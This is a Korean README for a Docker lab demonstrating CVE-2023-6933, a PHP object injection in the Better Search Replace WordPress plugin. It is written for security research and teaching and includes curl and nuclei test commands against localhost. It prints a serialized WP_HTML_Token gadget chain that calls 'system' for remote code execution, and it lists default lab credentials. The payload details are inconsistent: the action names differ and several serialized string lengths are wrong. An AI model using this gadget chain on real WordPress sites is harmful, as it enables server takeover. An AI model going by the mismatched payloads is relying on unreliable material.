
Docker 기반의 랩으로, Better Search Replace WordPress 플러그인에서 CVE-2023-6933 PHP Object Injection을 시연합니다. nuclei 템플릿, 익스플로잇 스크립트 및 수동 테스트 도구를 포함하여 보안 연구 및 교육을 지원합니다.
이 연구소 환경은 Better Search Replace WordPress 플러그인 버전 ≤1.4.4의 심각한 PHP 객체 주입 취약점인 CVE-2023-6933을 시연합니다.
/wp-admin/admin-ajax.php (action: search_replace_db)# 저장소 클론
git clone https://github.com/Trex96/vulnerable-bsr-lab-CVE-2023-6933.git
cd vulnerable-bsr-lab-CVE-2023-6933
# Docker Hub 이미지 사용 배포 (자동 pull)
docker-compose up -d
연구소가 자동으로 다음을 수행합니다:
trex999/vulnerable-bsr-lab:latest)# 자동화 PoC 실행
nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
# curl을 통한 수동 테스트
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'action=search_replace_db&search_for=O:8:"stdClass":1:{s:6:"marker";s:34:"nuclei_test_payload_demonstration";}&replace_with=test'
Better Search Replace 플러그인은 AJAX 핸들러에 PHP 객체 주입 취약점을 포함하고 있습니다. 취약점은 다음과 같은 상황에서 발생합니다:
search_for 매개변수로 /wp-admin/admin-ajax.php에 전달됨search_replace_db로 설정됨nuclei 템플릿은 여러 검증 단계를 통해 취약점을 시연합니다:
nuclei 템플릿 (nuclei-templates/cve-2023-6933.yaml)은 전문적으로 구성되었습니다:
$ nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
[CVE-2023-6933:plugin_version] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["trunk"]
[CVE-2023-6933:tested_up_to] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["6.4"]
[CVE-2023-6933:response_content] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[CVE-2023-6933:poc_verification] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[INF] Scan completed in 67ms. 4 matches found.
PoC가 성공적으로:
⚠️ 경고: 이 환경은 의도적으로 취약한 소프트웨어를 포함하고 있습니다. 격리된 테스트 환경에서만 사용하십시오. 프로덕션 또는 인터넷 접근 가능 시스템에 배포하지 마십시오.
docker-compose down -v
교육 및 보안 연구 목적으로 제작됨
Docker_LAB_SETUP/)cve_2023_6933_exploit.php — 포괄적인 PHP 익스플로잇 툴킷wp_html_token_poc.php — WordPress 6.4.0+ RCE 시연bsr_direct_exploit.php — 직접 취약점 테스트nuclei-templates/cve-2023-6933.yaml — 고급 nuclei 템플릿manual-test.sh — 포괄적인 수동 테스트 스크립트이 연구소는 취약점 연구의 모범 사례를 따라 오류 기반이 아닌 탐지를 시연합니다:
HTTP 500 오류에 의존하는 대신, 도구는 다음을 탐지합니다:
WordPress 6.4.0+의 WP_HTML_Token 클래스를 활용한 실제 RCE:
O:13:"WP_HTML_Token":4:{
s:13:"bookmark_name";s:14:"touch /tmp/rce";
s:9:"node_name";s:8:"testnode";
s:21:"has_self_closing_flag";b:0;
s:10:"on_destroy";s:6:"system";
}
admin-ajax.php)# 기본 플러그인 존재 확인
curl "http://localhost:8080/wp-content/plugins/better-search-replace/readme.txt"
# 안전한 페이로드로 취약점 테스트
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-d "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"nuclei\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1"
| 서비스 | URL | 자격 증명 |
|---|---|---|
| WordPress | http://localhost:8080 | admin/admin |
| phpMyAdmin | http://localhost:8081 | root/rootpassword |
이 연구소는 다음에 대한 실습 경험을 제공합니다:
저자: Trex
연구소 버전: 2.0 - 개선된 PoC 방법론